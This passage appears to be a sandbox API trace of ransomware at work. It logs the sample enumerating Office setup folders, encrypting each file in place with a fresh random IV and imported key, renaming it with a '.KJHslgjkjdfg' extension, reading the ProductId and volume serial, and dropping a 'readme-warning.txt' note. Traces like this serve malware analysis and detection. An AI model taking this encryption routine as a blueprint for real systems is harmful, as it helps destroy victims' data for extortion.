lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.346] GetProcessHeap () returned 0x2ef0000 [0170.346] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.346] GetProcessHeap () returned 0x2ef0000 [0170.346] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.347] GetProcessHeap () returned 0x2ef0000 [0170.347] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.347] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.347] GetProcessHeap () returned 0x2ef0000 [0170.347] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.347] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0170.347] GetProcessHeap () returned 0x2ef0000 [0170.347] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xcc) returned 0x2f14588 [0170.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.348] GetProcessHeap () returned 0x2ef0000 [0170.348] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.348] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.348] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0170.348] GetProcessHeap () returned 0x2ef0000 [0170.348] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2ce) returned 0x2f47728 [0170.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.349] GetProcessHeap () returned 0x2ef0000 [0170.349] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.349] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.349] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.349] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.351] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.351] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.351] GetProcessHeap () returned 0x2ef0000 [0170.351] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.351] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.351] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.351] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.351] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.351] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.352] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.352] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.352] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.352] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.352] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.352] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x5ac, lpOverlapped=0x0) returned 1 [0170.352] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0) returned 1 [0170.352] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.352] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x5b0, lpOverlapped=0x0) returned 1 [0170.352] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.352] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.353] SetEndOfFile (hFile=0x118) returned 1 [0170.355] GetProcessHeap () returned 0x2ef0000 [0170.355] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.355] GetProcessHeap () returned 0x2ef0000 [0170.355] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.kjhslgjkjdfg")) returned 1 [0170.356] CloseHandle (hObject=0x118) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.358] GetProcessHeap () returned 0x2ef0000 [0170.358] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.358] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.358] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.358] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.358] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.358] GetProcessHeap () returned 0x2ef0000 [0170.358] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.358] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.358] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.358] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.360] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.361] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.361] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.361] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.361] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.361] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.361] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.361] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x750, lpOverlapped=0x0) returned 1 [0170.361] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x750, dwBufLen=0x750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x750) returned 1 [0170.361] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.361] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x750, lpOverlapped=0x0) returned 1 [0170.361] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.362] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.362] SetEndOfFile (hFile=0x118) returned 1 [0170.364] GetProcessHeap () returned 0x2ef0000 [0170.364] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.364] GetProcessHeap () returned 0x2ef0000 [0170.364] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.370] CloseHandle (hObject=0x118) returned 1 [0170.370] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.370] GetProcessHeap () returned 0x2ef0000 [0170.370] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.370] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.370] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.370] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.370] GetProcessHeap () returned 0x2ef0000 [0170.370] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.370] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.370] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.370] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.370] GetProcessHeap () returned 0x2ef0000 [0170.370] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.371] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.371] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.371] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.371] GetProcessHeap () returned 0x2ef0000 [0170.371] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.371] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.371] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.371] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.371] GetProcessHeap () returned 0x2ef0000 [0170.371] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.371] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.371] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.371] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.371] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.371] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.371] RegCloseKey (hKey=0x118) returned 0x0 [0170.371] GetProcessHeap () returned 0x2ef0000 [0170.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.371] GetProcessHeap () returned 0x2ef0000 [0170.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.371] GetProcessHeap () returned 0x2ef0000 [0170.372] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.372] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.372] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.372] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.372] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.372] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.372] GetProcessHeap () returned 0x2ef0000 [0170.372] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.372] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.372] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.372] GetProcessHeap () returned 0x2ef0000 [0170.372] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.372] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\readme-warning.txt") returned 112 [0170.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.375] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.376] CloseHandle (hObject=0x118) returned 1 [0170.377] GetProcessHeap () returned 0x2ef0000 [0170.377] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.377] GetProcessHeap () returned 0x2ef0000 [0170.377] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.377] GetProcessHeap () returned 0x2ef0000 [0170.377] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.377] GetProcessHeap () returned 0x2ef0000 [0170.377] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.377] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.377] GetProcessHeap () returned 0x2ef0000 [0170.377] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.377] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0170.377] GetProcessHeap () returned 0x2ef0000 [0170.377] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc2) returned 0x2f14588 [0170.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.378] GetProcessHeap () returned 0x2ef0000 [0170.378] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.379] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.379] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 